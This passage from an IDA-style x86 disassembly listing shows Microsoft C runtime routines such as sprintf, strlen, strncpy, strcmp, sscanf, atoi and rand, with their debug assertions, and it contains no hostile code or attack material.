; sub_4013F1+2A2p ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_8]
mov [ebp+var_2C], ecx
loc_418D85: ; CODE XREF: sub_418D70+3Dj
cmp [ebp+arg_0], 0
jnz short loc_418DA9
push offset aStringNull ; "string != NULL"
push 0
push 5Dh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_418DA9
int 3 ; Trap to Debugger
loc_418DA9: ; CODE XREF: sub_418D70+19j
; sub_418D70+36j
xor edx, edx
test edx, edx
jnz short loc_418D85
loc_418DAF: ; CODE XREF: sub_418D70+67j
cmp [ebp+arg_4], 0
jnz short loc_418DD3
push offset aFormatNull ; "format != NULL"
push 0
push 5Eh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_418DD3
int 3 ; Trap to Debugger
loc_418DD3: ; CODE XREF: sub_418D70+43j
; sub_418D70+60j
xor eax, eax
test eax, eax
jnz short loc_418DAF
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 42h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_24]
mov dword ptr [eax+4], 7FFFFFFFh
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_24]
push eax
call sub_41EA90
add esp, 0Ch
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_24]
mov [eax+4], edx
mov ecx, [ebp+var_24]
cmp dword ptr [ecx+4], 0
jl short loc_418E4F
mov edx, [ebp+var_24]
mov eax, [edx]
mov byte ptr [eax], 0
xor ecx, ecx
and ecx, 0FFh
mov [ebp+var_30], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_24]
mov [ecx], eax
jmp short loc_418E60
; ---------------------------------------------------------------------------
loc_418E4F: ; CODE XREF: sub_418D70+BBj
mov edx, [ebp+var_24]
push edx
push 0
call sub_41E810
add esp, 8
mov [ebp+var_30], eax
loc_418E60: ; CODE XREF: sub_418D70+DDj
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418D70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418E70 proc near ; CODE XREF: sub_401A3C+DAp
; sub_401A3C+11Ep ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_418E90
loc_418E7C: ; CODE XREF: sub_418E70+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_418EC3
test ecx, 3
jnz short loc_418E7C
add eax, 0
loc_418E90: ; CODE XREF: sub_418E70+Aj
; sub_418E70+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_418E90
mov eax, [ecx-4]
test al, al
jz short loc_418EE1
test ah, ah
jz short loc_418ED7
test eax, 0FF0000h
jz short loc_418ECD
test eax, 0FF000000h
jz short loc_418EC3
jmp short loc_418E90
; ---------------------------------------------------------------------------
loc_418EC3: ; CODE XREF: sub_418E70+11j
; sub_418E70+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_418ECD: ; CODE XREF: sub_418E70+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_418ED7: ; CODE XREF: sub_418E70+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_418EE1: ; CODE XREF: sub_418E70+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_418E70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EF0 proc near ; CODE XREF: sub_401A3C+A4p
; sub_401A3C+C9p ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_C]
mov [ebp+var_2C], ecx
loc_418F05: ; CODE XREF: sub_418EF0+3Dj
cmp [ebp+arg_0], 0
jnz short loc_418F29
push offset aStringNull ; "string != NULL"
push 0
push 5Dh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_418F29
int 3 ; Trap to Debugger
loc_418F29: ; CODE XREF: sub_418EF0+19j
; sub_418EF0+36j
xor edx, edx
test edx, edx
jnz short loc_418F05
loc_418F2F: ; CODE XREF: sub_418EF0+67j
cmp [ebp+arg_8], 0
jnz short loc_418F53
push offset aFormatNull ; "format != NULL"
push 0
push 5Eh
push offset aSprintf_c ; "sprintf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_418F53
int 3 ; Trap to Debugger
loc_418F53: ; CODE XREF: sub_418EF0+43j
; sub_418EF0+60j
xor eax, eax
test eax, eax
jnz short loc_418F2F
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 42h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_4]
mov [eax+4], ecx
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_41EA90
add esp, 0Ch
mov [ebp+var_28], eax
mov edx, [ebp+var_24]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov edx, [ebp+var_24]
cmp dword ptr [edx+4], 0
jl short loc_418FCE
mov eax, [ebp+var_24]
mov ecx, [eax]
mov byte ptr [ecx], 0
xor edx, edx
and edx, 0FFh
mov [ebp+var_30], edx
mov eax, [ebp+var_24]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+var_24]
mov [edx], ecx
jmp short loc_418FDF
; ---------------------------------------------------------------------------
loc_418FCE: ; CODE XREF: sub_418EF0+BAj
mov eax, [ebp+var_24]
push eax
push 0
call sub_41E810
add esp, 8
mov [ebp+var_30], eax
loc_418FDF: ; CODE XREF: sub_418EF0+DCj
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418EF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FF0 proc near ; CODE XREF: sub_403076+39p
; sub_404C3D+2Ep ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
call sub_41FA10
mov ecx, [ebp+arg_0]
mov [eax+14h], ecx
pop ebp
retn
sub_418FF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419000 proc near ; CODE XREF: .text:loc_4021F0p
; sub_402D70+4Dp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_41FA10
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
imul ecx, 343FDh
add ecx, 269EC3h
mov edx, [ebp+var_4]
mov [edx+14h], ecx
mov eax, [ebp+var_4]
mov eax, [eax+14h]
shr eax, 10h
and eax, 7FFFh
mov esp, ebp
pop ebp
retn
sub_419000 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419040 proc near ; CODE XREF: sub_402853+5Cp
; sub_402853+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_4190F4
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41906A
loc_41905B: ; CODE XREF: sub_419040+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41909B
test edi, 3
jnz short loc_41905B
loc_41906A: ; CODE XREF: sub_419040+19j
; sub_419040+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41906A
mov eax, [edi-4]
test al, al
jz short loc_4190A8
test ah, ah
jz short loc_4190A3
test eax, 0FF0000h
jz short loc_41909E
test eax, 0FF000000h
jnz short loc_41906A
loc_41909B: ; CODE XREF: sub_419040+20j
dec edi
jmp short loc_4190AB
; ---------------------------------------------------------------------------
loc_41909E: ; CODE XREF: sub_419040+52j
sub edi, 2
jmp short loc_4190AB
; ---------------------------------------------------------------------------
loc_4190A3: ; CODE XREF: sub_419040+4Bj
sub edi, 3
jmp short loc_4190AB
; ---------------------------------------------------------------------------
loc_4190A8: ; CODE XREF: sub_419040+47j
sub edi, 4
loc_4190AB: ; CODE XREF: sub_419040+5Cj
; sub_419040+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_4190C0
mov ebx, ecx
shr ecx, 2
jnz short loc_41910C
jmp short loc_4190DC
; ---------------------------------------------------------------------------
loc_4190C0: ; CODE XREF: sub_419040+75j
; sub_419040+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_4190FA
mov [edi], dl
inc edi
dec ecx
jz short loc_4190F0
test esi, 3
jnz short loc_4190C0
mov ebx, ecx
shr ecx, 2
jnz short loc_41910C
loc_4190DC: ; CODE XREF: sub_419040+7Ej
; sub_419040+CAj
mov ecx, ebx
and ecx, 3
jz short loc_4190F0
loc_4190E3: ; CODE XREF: sub_419040+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_4190F2
dec ecx
jnz short loc_4190E3
loc_4190F0: ; CODE XREF: sub_419040+8Bj
; sub_419040+A1j
mov [edi], cl
loc_4190F2: ; CODE XREF: sub_419040+ABj
pop ebx
pop esi
loc_4190F4: ; CODE XREF: sub_419040+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4190FA: ; CODE XREF: sub_419040+85j
; sub_419040+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_419104: ; CODE XREF: sub_419040+E4j
; sub_419040+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_4190DC
loc_41910C: ; CODE XREF: sub_419040+7Cj
; sub_419040+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_419104
test dl, dl
jz short loc_4190FA
test dh, dh
jz short loc_419158
test edx, 0FF0000h
jz short loc_419148
test edx, 0FF000000h
jnz short loc_419104
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_419148: ; CODE XREF: sub_419040+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_419158: ; CODE XREF: sub_419040+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_419040 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419170 proc near ; CODE XREF: sub_402994+2A2p
; sub_40C50A+31EBp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_419191
xor eax, eax
jmp short loc_419193
; ---------------------------------------------------------------------------
loc_419191: ; CODE XREF: sub_419170+1Bj
mov eax, edi
loc_419193: ; CODE XREF: sub_419170+1Fj
cld
pop edi
leave
retn
sub_419170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4191A0 proc near ; CODE XREF: sub_402994+6Ep
; sub_402994+9Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_419223
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_4191C4
shr ecx, 2
jnz short loc_419231
jmp short loc_4191E5
; ---------------------------------------------------------------------------
loc_4191C4: ; CODE XREF: sub_4191A0+1Bj
; sub_4191A0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_4191F2
test al, al
jz short loc_4191FA
test esi, 3
jnz short loc_4191C4
mov ebx, ecx
shr ecx, 2
jnz short loc_419231
loc_4191E0: ; CODE XREF: sub_4191A0+8Fj
and ebx, 3
jz short loc_4191F2
loc_4191E5: ; CODE XREF: sub_4191A0+22j
; sub_4191A0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41921E
dec ebx
jnz short loc_4191E5
loc_4191F2: ; CODE XREF: sub_4191A0+2Bj
; sub_4191A0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4191FA: ; CODE XREF: sub_4191A0+2Fj
test edi, 3
jz short loc_419214
loc_419202: ; CODE XREF: sub_4191A0+72j
mov [edi], al
inc edi
dec ecx
jz loc_419296
test edi, 3
jnz short loc_419202
loc_419214: ; CODE XREF: sub_4191A0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_419287
loc_41921B: ; CODE XREF: sub_4191A0+7Fj
; sub_4191A0+F4j
mov [edi], al
inc edi
loc_41921E: ; CODE XREF: sub_4191A0+4Dj
dec ebx
jnz short loc_41921B
pop ebx
pop esi
loc_419223: ; CODE XREF: sub_4191A0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_419229: ; CODE XREF: sub_4191A0+A9j
; sub_4191A0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_4191E0
loc_419231: ; CODE XREF: sub_4191A0+20j
; sub_4191A0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_419229
test dl, dl
jz short loc_41927B
test dh, dh
jz short loc_419271
test edx, 0FF0000h
jz short loc_419267
test edx, 0FF000000h
jnz short loc_419229
mov [edi], edx
jmp short loc_41927F
; ---------------------------------------------------------------------------
loc_419267: ; CODE XREF: sub_4191A0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41927F
; ---------------------------------------------------------------------------
loc_419271: ; CODE XREF: sub_4191A0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41927F
; ---------------------------------------------------------------------------
loc_41927B: ; CODE XREF: sub_4191A0+ADj
xor edx, edx
mov [edi], edx
loc_41927F: ; CODE XREF: sub_4191A0+C5j
; sub_4191A0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_419291
loc_419287: ; CODE XREF: sub_4191A0+79j
xor eax, eax
loc_419289: ; CODE XREF: sub_4191A0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_419289
loc_419291: ; CODE XREF: sub_4191A0+E5j
and ebx, 3
jnz short loc_41921B
loc_419296: ; CODE XREF: sub_4191A0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_4191A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192A0 proc near ; CODE XREF: sub_402D70+40p
; sub_406614+274p ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_8]
mov [ebp+var_2C], ecx
loc_4192B5: ; CODE XREF: sub_4192A0+3Dj
cmp [ebp+arg_0], 0
jnz short loc_4192D9
push offset aStringNull ; "string != NULL"
push 0
push 42h
push offset aSscanf_c ; "sscanf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_4192D9
int 3 ; Trap to Debugger
loc_4192D9: ; CODE XREF: sub_4192A0+19j
; sub_4192A0+36j
xor edx, edx
test edx, edx
jnz short loc_4192B5
loc_4192DF: ; CODE XREF: sub_4192A0+67j
cmp [ebp+arg_4], 0
jnz short loc_419303
push offset aFormatNull ; "format != NULL"
push 0
push 43h
push offset aSscanf_c ; "sscanf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_419303
int 3 ; Trap to Debugger
loc_419303: ; CODE XREF: sub_4192A0+43j
; sub_4192A0+60j
xor eax, eax
test eax, eax
jnz short loc_4192DF
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 49h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+arg_0]
push eax
call sub_418E70
add esp, 4
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_41FBE0
add esp, 0Ch
mov [ebp+var_28], eax
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4192A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419360 proc near ; CODE XREF: sub_4034E9+1Dp
; sub_404CEF+FCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_4193AC
loc_419370: ; CODE XREF: sub_419360+3Cj
; sub_419360+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_4193A4
or al, al
jz short loc_4193A0
cmp ah, [ecx+1]
jnz short loc_4193A4
or ah, ah
jz short loc_4193A0
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_4193A4
or al, al
jz short loc_4193A0
cmp ah, [ecx+3]
jnz short loc_4193A4
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_419370
mov edi, edi
loc_4193A0: ; CODE XREF: sub_419360+18j
; sub_419360+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_4193A4: ; CODE XREF: sub_419360+14j
; sub_419360+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_4193AC: ; CODE XREF: sub_419360+Ej
test edx, 1
jz short loc_4193C8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_4193A4
inc ecx
or al, al
jz short loc_4193A0
test edx, 2
jz short loc_419370
loc_4193C8: ; CODE XREF: sub_419360+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_4193A4
or al, al
jz short loc_4193A0
cmp ah, [ecx+1]
jnz short loc_4193A4
or ah, ah
jz short loc_4193A0
add ecx, 2
jmp short loc_419370
sub_419360 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193F0 proc near ; CODE XREF: sub_403655+19p
; sub_4083E7+1Cp ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
loc_4193FF: ; CODE XREF: sub_4193F0+37j
cmp [ebp+arg_0], 0
jnz short loc_419423
push offset aStringNull ; "string != NULL"
push 0
push 5Ah
push offset aVsprintf_c ; "vsprintf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_419423
int 3 ; Trap to Debugger
loc_419423: ; CODE XREF: sub_4193F0+13j
; sub_4193F0+30j
xor ecx, ecx
test ecx, ecx
jnz short loc_4193FF
loc_419429: ; CODE XREF: sub_4193F0+61j
cmp [ebp+arg_8], 0
jnz short loc_41944D
push offset aFormatNull ; "format != NULL"
push 0
push 5Bh
push offset aVsprintf_c ; "vsprintf.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41944D
int 3 ; Trap to Debugger
loc_41944D: ; CODE XREF: sub_4193F0+3Dj
; sub_4193F0+5Aj
xor edx, edx
test edx, edx
jnz short loc_419429
mov eax, [ebp+var_24]
mov dword ptr [eax+0Ch], 42h
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx+8], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov edx, [ebp+var_24]
mov eax, [ebp+arg_4]
mov [edx+4], eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+var_24]
push eax
call sub_41EA90
add esp, 0Ch
mov [ebp+var_28], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_24]
mov [eax+4], edx
mov ecx, [ebp+var_24]
cmp dword ptr [ecx+4], 0
jl short loc_4194C8
mov edx, [ebp+var_24]
mov eax, [edx]
mov byte ptr [eax], 0
xor ecx, ecx
and ecx, 0FFh
mov [ebp+var_2C], ecx
mov edx, [ebp+var_24]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_24]
mov [ecx], eax
jmp short loc_4194D9
; ---------------------------------------------------------------------------
loc_4194C8: ; CODE XREF: sub_4193F0+B4j
mov edx, [ebp+var_24]
push edx
push 0
call sub_41E810
add esp, 8
mov [ebp+var_2C], eax
loc_4194D9: ; CODE XREF: sub_4193F0+D6j
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4193F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4194F0 proc near ; CODE XREF: sub_4195F0+7p
; sub_42B610+8Fp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
loc_4194F6: ; CODE XREF: sub_4194F0+4Ej
cmp dword_442F58, 1
jle short loc_419516
push 8
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_10], eax
jmp short loc_41952F
; ---------------------------------------------------------------------------
loc_419516: ; CODE XREF: sub_4194F0+Dj
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp+var_10], edx
loc_41952F: ; CODE XREF: sub_4194F0+24j
cmp [ebp+var_10], 0
jz short loc_419540
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_4194F6
; ---------------------------------------------------------------------------
loc_419540: ; CODE XREF: sub_4194F0+43j
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+var_4]
mov [ebp+var_C], ecx
cmp [ebp+var_4], 2Dh
jz short loc_419565
cmp [ebp+var_4], 2Bh
jnz short loc_419578
loc_419565: ; CODE XREF: sub_4194F0+6Dj
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_419578: ; CODE XREF: sub_4194F0+73j
mov [ebp+var_8], 0
loc_41957F: ; CODE XREF: sub_4194F0+E9j
cmp dword_442F58, 1
jle short loc_41959B
push 4
mov edx, [ebp+var_4]
push edx
call sub_41E750
add esp, 8
mov [ebp+var_14], eax
jmp short loc_4195B0
; ---------------------------------------------------------------------------
loc_41959B: ; CODE XREF: sub_4194F0+96j
mov eax, [ebp+var_4]
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_14], edx
loc_4195B0: ; CODE XREF: sub_4194F0+A9j
cmp [ebp+var_14], 0
jz short loc_4195DB
mov eax, [ebp+var_8]
imul eax, 0Ah
mov ecx, [ebp+var_4]
lea edx, [eax+ecx-30h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_41957F
; ---------------------------------------------------------------------------
loc_4195DB: ; CODE XREF: sub_4194F0+C4j
cmp [ebp+var_C], 2Dh
jnz short loc_4195E8
mov eax, [ebp+var_8]
neg eax
jmp short loc_4195EB
; ---------------------------------------------------------------------------
loc_4195E8: ; CODE XREF: sub_4194F0+EFj
mov eax, [ebp+var_8]
loc_4195EB: ; CODE XREF: sub_4194F0+F6j
mov esp, ebp
pop ebp
retn
sub_4194F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4195F0 proc near ; CODE XREF: .text:004036B8p
; sub_403791+63p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_4194F0
add esp, 4
pop ebp
retn
sub_4195F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
loc_419617: ; CODE XREF: .text:0041965Fj
cmp dword_442F58, 1
jle short loc_419637
push 8
mov eax, [ebp+8]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_41E750
add esp, 8
mov [ebp-14h], eax
jmp short loc_419650
; ---------------------------------------------------------------------------
loc_419637: ; CODE XREF: .text:0041961Ej
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp-14h], edx
loc_419650: ; CODE XREF: .text:00419635j
cmp dword ptr [ebp-14h], 0
jz short loc_419661
mov eax, [ebp+8]
add eax, 1
mov [ebp+8], eax
jmp short loc_419617
; ---------------------------------------------------------------------------
loc_419661: ; CODE XREF: .text:00419654j
mov ecx, [ebp+8]
xor edx, edx
mov dl, [ecx]
mov [ebp-4], edx
mov eax, [ebp+8]
add eax, 1
mov [ebp+8], eax
mov ecx, [ebp-4]
mov [ebp-10h], ecx
cmp dword ptr [ebp-4], 2Dh
jz short loc_419686
cmp dword ptr [ebp-4], 2Bh
jnz short loc_419699
loc_419686: ; CODE XREF: .text:0041967Ej
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov [ebp-4], eax
mov ecx, [ebp+8]
add ecx, 1
mov [ebp+8], ecx
loc_419699: ; CODE XREF: .text:00419684j
mov dword ptr [ebp-0Ch], 0
mov dword ptr [ebp-8], 0
loc_4196A7: ; CODE XREF: .text:00419717j
cmp dword_442F58, 1
jle short loc_4196C3
push 4
mov edx, [ebp-4]
push edx
call sub_41E750
add esp, 8
mov [ebp-18h], eax
jmp short loc_4196D8
; ---------------------------------------------------------------------------
loc_4196C3: ; CODE XREF: .text:004196AEj
mov eax, [ebp-4]
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp-18h], edx
loc_4196D8: ; CODE XREF: .text:004196C1j
cmp dword ptr [ebp-18h], 0
jz short loc_419719
push 0
push 0Ah
mov eax, [ebp-8]
push eax
mov ecx, [ebp-0Ch]
push ecx
call sub_41A2F0
mov ecx, eax
mov esi, edx
mov eax, [ebp-4]
sub eax, 30h
cdq
add ecx, eax
adc esi, edx
mov [ebp-0Ch], ecx
mov [ebp-8], esi
mov edx, [ebp+8]
xor eax, eax
mov al, [edx]
mov [ebp-4], eax
mov ecx, [ebp+8]
add ecx, 1
mov [ebp+8], ecx
jmp short loc_4196A7
; ---------------------------------------------------------------------------
loc_419719: ; CODE XREF: .text:004196DCj
cmp dword ptr [ebp-10h], 2Dh
jnz short loc_41972E
mov eax, [ebp-0Ch]
neg eax
mov edx, [ebp-8]
adc edx, 0
neg edx
jmp short loc_419734
; ---------------------------------------------------------------------------
loc_41972E: ; CODE XREF: .text:0041971Dj
mov eax, [ebp-0Ch]
mov edx, [ebp-8]
loc_419734: ; CODE XREF: .text:0041972Cj
pop esi
mov esp, ebp
